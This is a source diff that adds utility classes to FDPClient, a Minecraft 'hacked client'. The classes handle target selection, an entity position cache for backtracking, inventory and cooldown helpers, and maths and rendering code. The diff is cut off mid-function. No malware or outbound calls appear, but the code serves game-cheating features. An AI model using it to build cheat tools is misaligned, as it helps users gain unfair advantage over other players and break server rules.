List<Class<out T>> { + // use resolver in log4j to scan classes in target package + val resolver = ResolverUtil() + + // set class loader + resolver.classLoader = klass.classLoader + + // set package to scan + resolver.findInPackage(object : ResolverUtil.ClassTest() { + override fun matches(type: Class<*>): Boolean { + return true + } + }, packagePath) + + // use a list to cache classes + val list = mutableListOf<Class<out T>>() + + for(resolved in resolver.classes) { + resolved.declaredMethods.find { + Modifier.isNative(it.modifiers) + }?.let { + val klass1 = it.declaringClass.typeName+"."+it.name + throw UnsatisfiedLinkError(klass1+"\n\tat ${klass1}(Native Method)") // we don't want native methods + } + // check if class is assignable from target class + if(klass.isAssignableFrom(resolved) && !resolved.isInterface && !Modifier.isAbstract(resolved.modifiers)) { + // add to list + list.add(resolved as Class<out T>) + } + } + + return list + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/ClientUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/ClientUtils.kt new file mode 100644 index 0000000..0193618 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/ClientUtils.kt @@ -0,0 +1,73 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import com.google.gson.JsonObject +import net.ccbluex.liquidbounce.FDPClient +import net.minecraft.client.Minecraft +import net.minecraft.util.IChatComponent +import org.apache.logging.log4j.LogManager +import org.lwjgl.opengl.Display + +object +ClientUtils : MinecraftInstance() { + + var runTimeTicks = 0 + + @JvmStatic + val logger = LogManager.getLogger("FDPClient") + + + fun logInfo(msg: String) { + logger.info(msg) + } + + fun logWarn(msg: String) { + logger.warn(msg) + } + + fun logError(msg: String) { + logger.error(msg) + } + + fun logError(msg: String, t: Throwable) { + logger.error(msg, t) + } + + fun logDebug(msg: String) { + logger.debug(msg) + } + + fun setTitle() { + Display.setTitle("${FDPClient.CLIENT_NAME} ${FDPClient.CLIENT_VERSION} (${FDPClient.CLIENT_BRANCH}) | ${FDPClient.CLIENT_WEBSITE}") + } + fun setTitle(stats:String) { + Display.setTitle("${FDPClient.CLIENT_NAME} ${FDPClient.CLIENT_VERSION} (${FDPClient.CLIENT_BRANCH}) | ${FDPClient.CLIENT_WEBSITE} - " + stats) + } + + fun displayAlert(message: String) { + displayChatMessage(FDPClient.COLORED_NAME + message) + } + + fun displayChatMessage(message: String) { + if (mc.thePlayer == null) { + logger.info("(MCChat) $message") + return + } + val jsonObject = JsonObject() + jsonObject.addProperty("text", message) + mc.thePlayer.addChatMessage(IChatComponent.Serializer.jsonToComponent(jsonObject.toString())) + } + + /** + * Minecraft instance + */ + val mc = Minecraft.getMinecraft()!! + + enum class EnumOSType { + WINDOWS, LINUX, MACOS, UNKNOWN; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/Colors.java b/src/main/java/net/ccbluex/liquidbounce/utils/Colors.java new file mode 100644 index 0000000..114c589 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/Colors.java @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.utils; + +import java.awt.*; +import java.text.NumberFormat; + +public class Colors { + public static int getColor(int color,int a){ + Color color1=new Color(color); + return new Color(color1.getRed(),color1.getGreen(),color1.getBlue(),a).getRGB(); + } + + public static int getColor(int brightness) { + return getColor(brightness, brightness, brightness, 255); + } + + + public static int getColor(int red, int green, int blue, int alpha) { + int color = 0; + color |= alpha << 24; + color |= red << 16; + color |= green << 8; + color |= blue; + return color; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/CooldownHelper.kt b/src/main/java/net/ccbluex/liquidbounce/utils/CooldownHelper.kt new file mode 100644 index 0000000..2f73978 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/CooldownHelper.kt @@ -0,0 +1,76 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.utils.MinecraftInstance.mc +import net.minecraft.item.Item +import net.minecraft.item.ItemAxe +import net.minecraft.item.ItemHoe +import net.minecraft.item.ItemPickaxe +import net.minecraft.item.ItemSpade +import net.minecraft.item.ItemStack +import net.minecraft.item.ItemSword +import net.minecraft.util.MathHelper +import net.minecraft.potion.Potion +import kotlin.math.min + +/** + * Capable of simulating 1.9+ cooldowns for usage on 1.9+ servers while playing with 1.8.9. + * + * @Zywl + */ +object CooldownHelper { + + private var lastAttackedTicks = 0 + + private var genericAttackSpeed = 0.0 + + fun updateGenericAttackSpeed(itemStack: ItemStack?) { + genericAttackSpeed = when (itemStack?.item) { + is ItemSword -> 1.6 + is ItemAxe -> { + val axe = itemStack.item as ItemAxe + when (axe.toolMaterial) { + Item.ToolMaterial.IRON -> 0.9 + Item.ToolMaterial.WOOD, Item.ToolMaterial.STONE -> 0.8 + else -> 1.0 + } + } + is ItemPickaxe -> 1.2 + is ItemSpade -> 1.0 + is ItemHoe -> { + val hoe = itemStack.item as ItemHoe + when (hoe.materialName) { + "STONE" -> 2.0 + "IRON" -> 3.0 + "DIAMOND" -> 4.0 + else -> 1.0 + } + } + else -> 4.0 + } + + if (mc.thePlayer.isPotionActive(Potion.digSlowdown)) { + genericAttackSpeed *= 1.0 - min(1.0, 0.1 * (mc.thePlayer.getActivePotionEffect(Potion.digSlowdown).getAmplifier() + 1)) + } + if (mc.thePlayer.isPotionActive(Potion.digSpeed)) { + genericAttackSpeed *= 1.0 + (0.1 * (mc.thePlayer.getActivePotionEffect(Potion.digSpeed).getAmplifier() + 1)) + } + } + + fun getAttackCooldownProgressPerTick() = 1.0 / genericAttackSpeed * 20.0 + + fun getAttackCooldownProgress() = MathHelper.clamp_double((lastAttackedTicks + mc.timer.renderPartialTicks) / getAttackCooldownProgressPerTick(), 0.0, 1.0) + + fun resetLastAttackedTicks() { + this.lastAttackedTicks = 0 + } + + fun incrementLastAttackedTicks() { + this.lastAttackedTicks++ + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/EntityUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/EntityUtils.kt new file mode 100644 index 0000000..43cc507 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/EntityUtils.kt @@ -0,0 +1,154 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import kevin.utils.multiply +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.module.modules.client.Target.animalValue +import net.ccbluex.liquidbounce.features.module.modules.client.Target.deadValue +import net.ccbluex.liquidbounce.features.module.modules.client.Target.invisibleValue +import net.ccbluex.liquidbounce.features.module.modules.client.Target.mobValue +import net.ccbluex.liquidbounce.features.module.modules.client.Target.playerValue +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot.isBot +import net.ccbluex.liquidbounce.features.module.modules.other.Teams +import net.ccbluex.liquidbounce.utils.extensions.eyes +import net.ccbluex.liquidbounce.utils.render.ColorUtils.stripColor +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.boss.EntityDragon +import net.minecraft.entity.monster.EntityGhast +import net.minecraft.entity.monster.EntityGolem +import net.minecraft.entity.monster.EntityMob +import net.minecraft.entity.monster.EntitySlime +import net.minecraft.entity.passive.EntityAnimal +import net.minecraft.entity.passive.EntityBat +import net.minecraft.entity.passive.EntitySquid +import net.minecraft.entity.passive.EntityVillager +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.util.Vec3 +import kotlin.math.cos +import kotlin.math.sin + +object EntityUtils : MinecraftInstance() { + fun isSelected(entity: Entity, canAttackCheck: Boolean): Boolean { + if (entity is EntityLivingBase && (deadValue.get() || entity.isEntityAlive()) && entity !== mc.thePlayer) { + if (invisibleValue.get() || !entity.isInvisible()) { + if (playerValue.get() && entity is EntityPlayer) { + if (canAttackCheck) { + if (isBot(entity)) { + return false + } + + if (isFriend(entity)) { + return false + } + + if (entity.isSpectator) { + return false + } + + if (entity.isPlayerSleeping) { + return false + } + + if (!FDPClient.combatManager.isFocusEntity(entity)) { + return false + } + + val teams = FDPClient.moduleManager.getModule(Teams::class.java) + return !teams!!.state || !teams.isInYourTeam(entity) + } + + return true + } + return mobValue.get() && isMob(entity) || animalValue.get() && isAnimal(entity) + } + } + return false + } + fun isLookingOnEntities(entity: Entity, maxAngleDifference: Double): Boolean { + val player = mc.thePlayer ?: return false + val playerRotation = player.rotationYawHead + val playerPitch = player.rotationPitch + + val maxAngleDifferenceRadians = Math.toRadians(maxAngleDifference) + + val lookVec = Vec3( + -sin(playerRotation.toRadiansD()), + -sin(playerPitch.toRadiansD()), + cos(playerRotation.toRadiansD()) + ).normalize() + + val playerPos = player.positionVector.addVector(0.0, player.eyeHeight.toDouble(), 0.0) + val entityPos = entity.positionVector.addVector(0.0, entity.eyeHeight.toDouble(), 0.0) + + val directionToEntity = entityPos.subtract(playerPos).normalize() + val dotProductThreshold = lookVec.dotProduct(directionToEntity) + + return dotProductThreshold > cos(maxAngleDifferenceRadians) + } + val Entity?.rotation + get() = Rotation(this?.rotationYaw ?: 0f, this?.rotationPitch ?: 0f) + + fun canRayCast(entity: Entity): Boolean { + if (entity is EntityLivingBase) { + if (entity is EntityPlayer) { + val teams = FDPClient.moduleManager.getModule(Teams::class.java) + return !teams!!.state || !teams.isInYourTeam(entity) + } else { + return mobValue.get() && isMob(entity) || animalValue.get() && isAnimal(entity) + } + } + return false + } + + fun isFriend(entity: Entity): Boolean { + return entity is EntityPlayer && entity.getName() != null && FDPClient.fileManager.friendsConfig.isFriend(stripColor(entity.getName())) + } + + fun isFriend(entity: String): Boolean { + return FDPClient.fileManager.friendsConfig.isFriend(entity) + } + + private fun isAnimal(entity: Entity): Boolean { + return entity is EntityAnimal || entity is EntitySquid || entity is EntityGolem || entity is EntityVillager || entity is EntityBat + } + + private fun isMob(entity: Entity): Boolean { + return entity is EntityMob || entity is EntitySlime || entity is EntityGhast || entity is EntityDragon + } + + fun isRendered(entityToCheck: Entity?): Boolean { + return mc.theWorld != null && mc.theWorld.getLoadedEntityList().contains(entityToCheck) + } + private val healthSubstrings = arrayOf("hp", "health", "❤", "lives") + fun getHealth(entity: EntityLivingBase, fromScoreboard: Boolean = false, absorption: Boolean = true): Float { + if (fromScoreboard && entity is EntityPlayer) run { + val scoreboard = entity.worldScoreboard + val objective = scoreboard.getValueFromObjective(entity.name, scoreboard.getObjectiveInDisplaySlot(2)) + + if (healthSubstrings.contains(objective.objective?.displayName)) + return@run + + val scoreboardHealth = objective.scorePoints + + if (scoreboardHealth > 0) + return scoreboardHealth.toFloat() + } + + var health = entity.health + + if (absorption) + health += entity.absorptionAmount + + return if (health > 0) health else 20f + } + fun Entity.getLookDistanceToEntityBox(entity: Entity =this, rotation: Rotation? = null, range: Double=10.0): Double { + val eyes = this.eyes + val end = (rotation?: RotationUtils.bestServerRotation())!!.toDirection().multiply(range).add(eyes) + return entity.entityBoundingBox.calculateIntercept(eyes, end)?.hitVec?.distanceTo(eyes) ?: Double.MAX_VALUE + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/FakeItemRender.kt b/src/main/java/net/ccbluex/liquidbounce/utils/FakeItemRender.kt new file mode 100644 index 0000000..37affd5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/FakeItemRender.kt @@ -0,0 +1,7 @@ +package net.ccbluex.liquidbounce.utils + +import net.minecraft.item.ItemStack + +object FakeItemRender { + var fakeItem: Int = -1 +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/FileUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/FileUtils.kt new file mode 100644 index 0000000..1edb9b4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/FileUtils.kt @@ -0,0 +1,88 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import org.apache.commons.io.IOUtils +import java.io.* +import java.nio.file.Files +import java.nio.file.StandardCopyOption +import java.util.zip.ZipInputStream + + +object FileUtils { + fun readInputStream(inputStream: InputStream?): String? { + val stringBuilder = StringBuilder() + try { + val bufferedReader = BufferedReader(InputStreamReader(inputStream)) + var line: String? + while (bufferedReader.readLine().also { line = it } != null) stringBuilder.append(line).append('\n') + } catch (e: Exception) { + e.printStackTrace() + } + return stringBuilder.toString() + } + + fun unpackFile(file: File, name: String) { + val fos = FileOutputStream(file) + IOUtils.copy(FileUtils::class.java.classLoader.getResourceAsStream(name), fos) + fos.close() + } + fun writeFile(str:String,path: String){ + val file=File(path) + file.writeText(str, Charsets.UTF_8) + } + fun extractZip(zipStream: InputStream, folder: File) { + if (!folder.exists()) { + folder.mkdir() + } + + ZipInputStream(zipStream).use { zipInputStream -> + var zipEntry = zipInputStream.nextEntry + + while (zipEntry != null) { + if (zipEntry.isDirectory) { + zipEntry = zipInputStream.nextEntry + continue + } + + val newFile = File(folder, zipEntry.name) + File(newFile.parent).mkdirs() + + FileOutputStream(newFile).use { + zipInputStream.copyTo(it) + } + zipEntry = zipInputStream.nextEntry + } + + zipInputStream.closeEntry() + } + } + + fun extractZip(zipFile: File, folder: File) = extractZip(FileInputStream(zipFile), folder) + + fun copyDir(fromDir: File, toDir: File) { + if (!fromDir.exists()) { + throw IllegalArgumentException("From dir not exists") + } + + if (!fromDir.isDirectory || (toDir.exists() && !toDir.isDirectory)) { + throw IllegalArgumentException("Arguments MUST be a directory") + } + + if (!toDir.exists()) { + toDir.mkdirs() + } + + fromDir.listFiles().forEach { + val toFile = File(toDir, it.name) + if (it.isDirectory) { + copyDir(it, toFile) + } else { + Files.copy(it.toPath(), toFile.toPath(), StandardCopyOption.REPLACE_EXISTING) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/InventoryUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/InventoryUtils.kt new file mode 100644 index 0000000..04017d8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/InventoryUtils.kt @@ -0,0 +1,179 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.utils.PlayerUtils.getPing +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.block.Block +import net.minecraft.block.BlockBush +import net.minecraft.init.Blocks +import net.minecraft.item.Item +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemPotion +import net.minecraft.item.ItemStack +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement +import net.minecraft.network.play.client.C0DPacketCloseWindow +import net.minecraft.network.play.client.C0EPacketClickWindow +import net.minecraft.network.play.client.C16PacketClientStatus +import net.minecraft.potion.Potion + +object InventoryUtils : MinecraftInstance(), Listenable { + val CLICK_TIMER = MSTimer() + val INV_TIMER = MSTimer() + val BLOCK_BLACKLIST = listOf(Blocks.enchanting_table, Blocks.chest, Blocks.ender_chest, Blocks.trapped_chest, + Blocks.anvil, Blocks.sand, Blocks.web, Blocks.torch, Blocks.crafting_table, Blocks.furnace, Blocks.waterlily, + Blocks.dispenser, Blocks.stone_pressure_plate, Blocks.wooden_pressure_plate, Blocks.red_flower, Blocks.flower_pot, Blocks.yellow_flower, + Blocks.noteblock, Blocks.dropper, Blocks.standing_banner, Blocks.wall_banner, Blocks.tnt) + + fun findItem(startSlot: Int, endSlot: Int, item: Item): Int { + for (i in startSlot until endSlot) { + val stack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (stack != null && stack.item === item) { + return i + } + } + return -1 + } + + fun hasSpaceHotbar(): Boolean { + for (i in 36..44) { + mc.thePlayer.inventoryContainer.getSlot(i).stack ?: return true + } + return false + } + + fun findAutoBlockBlock(): Int { + for (i in 36..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && itemStack.item is ItemBlock) { + val itemBlock = itemStack.item as ItemBlock + val block = itemBlock.getBlock() + if (canPlaceBlock(block) && itemStack.stackSize > 0) { + return i + } + } + } + return -1 + } + fun findAutoBlockBlock(biggest: Boolean): Int { + if (biggest) { + var a = -1 + var aa = 0 + for (i in 36..44) { + if (mc.thePlayer.inventoryContainer.getSlot(i).hasStack) { + val aaa = mc.thePlayer.inventoryContainer.getSlot(i).stack.item + val aaaa = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (aaa is ItemBlock && aaaa.stackSize > aa) { + aa = aaaa.stackSize + a = i + } + } + } + return a + } else { + for (i in 36..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + if (itemStack != null && itemStack.item is ItemBlock) { + val itemBlock = itemStack.item as ItemBlock + val block = itemBlock.getBlock() + if (canPlaceBlock(block) && (mc.thePlayer.getPing() > 100 && itemStack.stackSize > 2 || itemStack.stackSize != 0)) { + return i + } + } + } + return -1 + } + } + + fun canPlaceBlock(block: Block): Boolean { + return block.isFullCube && !BLOCK_BLACKLIST.contains(block) + } + + fun isBlockListBlock(itemBlock: ItemBlock): Boolean { + val block = itemBlock.getBlock() + return BLOCK_BLACKLIST.contains(block) || !block.isFullCube + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C0EPacketClickWindow || packet is C08PacketPlayerBlockPlacement) { + INV_TIMER.reset() + } + if (packet is C08PacketPlayerBlockPlacement) { + CLICK_TIMER.reset() + } else if (packet is C0EPacketClickWindow) { + CLICK_TIMER.reset() + } + } + + fun openPacket() { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + + fun closePacket() { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + fun isPositivePotionEffect(id: Int): Boolean { + return id == Potion.regeneration.id || id == Potion.moveSpeed.id || + id == Potion.heal.id || id == Potion.nightVision.id || + id == Potion.jump.id || id == Potion.invisibility.id || + id == Potion.resistance.id || id == Potion.waterBreathing.id || + id == Potion.absorption.id || id == Potion.digSpeed.id || + id == Potion.damageBoost.id || id == Potion.healthBoost.id || + id == Potion.fireResistance.id + } + + fun isPositivePotion(item: ItemPotion, stack: ItemStack): Boolean { + item.getEffects(stack).forEach { + if (isPositivePotionEffect(it.potionID)) { + return true + } + } + + return false + } + + fun getItemDurability(stack: ItemStack): Float { + if (stack.isItemStackDamageable && stack.maxDamage> 0) { + return (stack.maxDamage - stack.itemDamage) / stack.maxDamage.toFloat() + } + return 1f + } + + fun swap(slot: Int, hotBarNumber: Int) { + mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, hotBarNumber, 2, mc.thePlayer) + } + + override fun handleEvents() = true + fun findBlockInHotbar(): Int { + val player = mc.thePlayer ?: return -1 + val inventory = player.inventoryContainer + + return (36..44).filter { + val stack = inventory.getSlot(it).stack ?: return@filter false + val block = if (stack.item is ItemBlock) (stack.item as ItemBlock).block else return@filter false + + stack.item is ItemBlock && stack.stackSize > 0 && block !in BLOCK_BLACKLIST && block !is BlockBush + }.minByOrNull { (inventory.getSlot(it).stack.item as ItemBlock).block.isFullCube } ?: -1 + } + + fun findLargestBlockStackInHotbar(): Int { + val player = mc.thePlayer ?: return -1 + val inventory = player.inventoryContainer + + return (36..44).filter { + val stack = inventory.getSlot(it).stack ?: return@filter false + val block = if (stack.item is ItemBlock) (stack.item as ItemBlock).block else return@filter false + + stack.item is ItemBlock && stack.stackSize > 0 && block.isFullCube && block !in BLOCK_BLACKLIST && block !is BlockBush + }.maxByOrNull { inventory.getSlot(it).stack.stackSize } ?: -1 + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/LocationCache.kt b/src/main/java/net/ccbluex/liquidbounce/utils/LocationCache.kt new file mode 100644 index 0000000..0eb062e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/LocationCache.kt @@ -0,0 +1,101 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.utils.extensions.getEntitiesInRadius +import net.minecraft.entity.Entity +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.Vec3 +import java.lang.ref.SoftReference +import java.util.concurrent.atomic.AtomicInteger + +/** + * Entity AABB cacher for backtracing entities + */ +class LocationCache : MinecraftInstance(), Listenable { + @EventTarget + fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.POST) { + val theWorld = mc.theWorld ?: return + val thePlayer = mc.thePlayer ?: return + + playerLocationList.add(Location(Vec3(thePlayer.posX, thePlayer.entityBoundingBox.minY, thePlayer.posZ), + RotationUtils.serverRotation!! + )) + + val entities = theWorld.getEntitiesInRadius(thePlayer, DISCOVER_RANGE) + + // Manual garbage collect by distance check + aabbList.keys.filterNot(entities.map(Entity::getEntityId)::contains).forEach(aabbList::remove) + + // Add entity locations to ring buffer + for (entity in entities) { + aabbList.getOrPut(entity.entityId) { SoftReference(RingBuffer(CACHE_SIZE)) }.get()?.add(entity.entityBoundingBox) + } + } + } + + override fun handleEvents(): Boolean = true + + companion object { + private const val CACHE_SIZE = 50 + private const val DISCOVER_RANGE = 64.0 + + private val aabbList = HashMap<Int, SoftReference<RingBuffer<AxisAlignedBB>>>(CACHE_SIZE) + private val playerLocationList = RingBuffer<Location>(CACHE_SIZE) + + fun getPreviousAABB(entityId: Int, ticksBefore: Int, default: AxisAlignedBB): AxisAlignedBB { + if (aabbList.isEmpty()) return default + return aabbList[entityId]?.get()?.run { get(size - ticksBefore - 1) } ?: default + } + + fun getPreviousPlayerLocation(ticksBefore: Int, default: Location): Location = playerLocationList[playerLocationList.size - ticksBefore - 1] + ?: default + } +} + +/** + * A simple ring buffer (circular queue) implementation + * Referenced 'https://gist.github.com/ToxicBakery/05d3d98256aaae50bfbde04ae0c62dbd' + */ +class RingBuffer<T>(val maxCapacity: Int) : Iterable<T> { + private val array: Array<Any?> = Array(maxCapacity) { null } + + var size = 0 + private set + + private val head + get() = if (size == maxCapacity) (tail + 1) % size else 0 + private var tail = 0 + + fun add(element: T) { + tail = (tail + 1) % maxCapacity + array[tail] = element + if (size < maxCapacity) size++ + } + + operator fun get(index: Int): T? { + return when { + size == 0 || index >= size || index < 0 -> null // IndexOOB + size == maxCapacity -> array[(head + index) % maxCapacity] // Index circulation + else -> array[index] // Default + } as? T? + } + + override fun iterator(): Iterator<T> = object : Iterator<T> { + private val index: AtomicInteger = AtomicInteger(0) + + override fun hasNext(): Boolean = index.get() < size + + override fun next(): T = get(index.getAndIncrement()) ?: throw NoSuchElementException() + } +} + +data class Location(val position: Vec3, val rotation: Rotation) diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MainMenuButton.java b/src/main/java/net/ccbluex/liquidbounce/utils/MainMenuButton.java new file mode 100644 index 0000000..515789d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MainMenuButton.java @@ -0,0 +1,54 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.impl.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; + +import java.awt.*; +public class MainMenuButton { + public String icon; + public String text; + public Executor action; + public float x; + public float y; + public float yAnimation = 0.0F; + + public MainMenuButton(String icon, String text, Executor action) { + this.icon = icon; + this.text = text; + this.action = action; + } + + public MainMenuButton(String icon, String text, Executor action, float yOffset) { + this.icon = icon; + this.text = text; + this.action = action; + } + + public void draw(float x, float y, int mouseX, int mouseY) { + this.x = x; + this.y = y; + RenderUtils.drawRoundedCornerRect(x-30F,y-30F,x+30f,y+30f,15f,new Color(0,0,0,40).getRGB()); + this.yAnimation = RenderUtils.smoothAnimation(this.yAnimation, RenderUtils.isHovering(mouseX, mouseY, this.x-30f, this.y-30f, this.x + 30.0F, this.y + 30.0F) ? 4.0F : 0.0F, 20.0F, 0.3F); + Fonts.MAINMENU.MAINMENU30.MAINMENU30.drawString(this.icon, x - (float) Fonts.MAINMENU.MAINMENU30.MAINMENU30.stringWidth(this.icon) / 2.0F, y-6f+(this.yAnimation*-1f), Color.WHITE.getRGB(),false); + if(this.yAnimation>=0.11) { + Fonts.SF.SF_16.SF_16.drawString(this.text, x - (float) Fonts.SF.SF_16.SF_16.stringWidth(this.text) / 2.0F, y + 12f +(this.yAnimation*-1f), new Color(255,255,255, ((((this.yAnimation/4.0f)) * 254.0f * 1f)<=255.0f) ? (int)(((this.yAnimation/4.0f)) * 254.0f + 1f) : 25).getRGB()); + }//RenderUtils.drawGradientRect(x, y + 40.0F - this.yAnimation * 3.0F, x + 50.0F, y + 40.0F, 3453695, 2016719615); + RenderUtils.drawRoundedCornerRect(x-30F,y-30F,x+30f,y+30f,15f,new Color(255,255,255,50).getRGB()); + } + + public void mouseClick(int mouseX, int mouseY, int mouseButton) { + if (RenderUtils.isHovering(mouseX, mouseY, this.x-30f, this.y-30f, this.x + 30.0F, this.y + 30.0F) && this.action != null && mouseButton == 0) { + this.action.execute(); + } + + } + + public interface Executor { + void execute(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/MathUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/MathUtils.kt new file mode 100644 index 0000000..75303e0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/MathUtils.kt @@ -0,0 +1,175 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import java.math.BigDecimal +import java.math.RoundingMode +import java.util.* +import kotlin.math.* + + +fun Float.toRadians() = this * 0.017453292f +fun Float.toRadiansD() = toRadians().toDouble() +fun Float.toDegrees() = this * 57.29578f +fun Float.toDegreesD() = toDegrees().toDouble() + +fun Double.toRadians() = this * 0.017453292 +fun Double.toRadiansF() = toRadians().toFloat() +fun Double.toDegrees() = this * 57.295779513 +fun Double.toDegreesF() = toDegrees().toFloat() +object MathUtils { + + const val DEGREES_TO_RADIANS = 0.017453292519943295 + + const val RADIANS_TO_DEGREES = 57.29577951308232 + fun radians(degrees: Double): Double { + return degrees * Math.PI / 180 + } + + fun getDistance(x1: Double, y1: Double, x2: Double, y2: Double): Double { + return sqrt((x1 - x2).pow((2).toDouble()) + (y1 - y2).pow((2).toDouble())) + } + // TODO: Solve the coordinates of the intersection of two circles (there will be time at the end of the month)(TargetStrafe) + // 2 + 2 is 4 - 1 thats 3 quick maffs + + fun lerp(a: Array<Double>, b: Array<Double>, t: Double) = arrayOf(a[0] + (b[0] - a[0]) * t, a[1] + (b[1] - a[1]) * t) + + fun distanceSq(a: Array<Double>, b: Array<Double>): Double = (a[0] - b[0]).pow(2) + (a[1] - b[1]).pow(2) + + fun distanceToSegmentSq(p: Array<Double>, v: Array<Double>, w: Array<Double>): Double { + val l2 = distanceSq(v, w) + if (l2 == 0.0) { + return distanceSq(p, v) + } + return distanceSq(p, lerp(v, w, (((p[0] - v[0]) * (w[0] - v[0]) + (p[1] - v[1]) * (w[1] - v[1])) / l2).coerceAtMost(1.0).coerceAtLeast(0.0))) + } + + fun Double.inRange(base: Double, range: Double): Boolean { + return this in base - range..base + range + } + + @JvmStatic + fun calcCurvePoint(points: Array<Array<Double>>, t: Double): Array<Double> { + val cpoints = mutableListOf<Array<Double>>() + for (i in 0 until (points.size - 1)) { + cpoints.add(lerp(points[i], points[i + 1], t)) + } + return if (cpoints.size == 1) { + cpoints[0] + } else { + calcCurvePoint(cpoints.toTypedArray(), t) + } + } + + @JvmStatic + fun getPointsOnCurve(points: Array<Array<Double>>, num: Int): Array<Array<Double>> { + val cpoints = mutableListOf<Array<Double>>() + for (i in 0 until num) { + val t = i / (num - 1.0) + cpoints.add(calcCurvePoint(points, t)) + } + return cpoints.toTypedArray() + } + + /** + * Converts double to radians + */ + fun Double.toRadians() = this * DEGREES_TO_RADIANS + + fun gaussian(x: Int, sigma: Float): Float { + val s = sigma * sigma * 2 + + return (1f / (sqrt(PI.toFloat() * s))) * exp(-(x * x) / s) + } + + @JvmOverloads + @JvmStatic + fun simplifyPoints( + points: Array<Array<Double>>, + epsilon: Double, + start: Int = 0, + end: Int = points.size, + outPoints: MutableList<Array<Double>> = mutableListOf() + ): Array<Array<Double>> { + val s = points[start] + val e = points[end - 1] + var maxDistSq = 0.0 + var maxNdx = 1 + for (i in (start + 1) until (end - 1)) { + val distSq = distanceToSegmentSq(points[i], s, e) + if (distSq > maxDistSq) { + maxDistSq = distSq + maxNdx = i + } + } + + // if that point is too far + if (sqrt(maxDistSq) > epsilon) { + // split + simplifyPoints(points, epsilon, start, maxNdx + 1, outPoints) + simplifyPoints(points, epsilon, maxNdx, end, 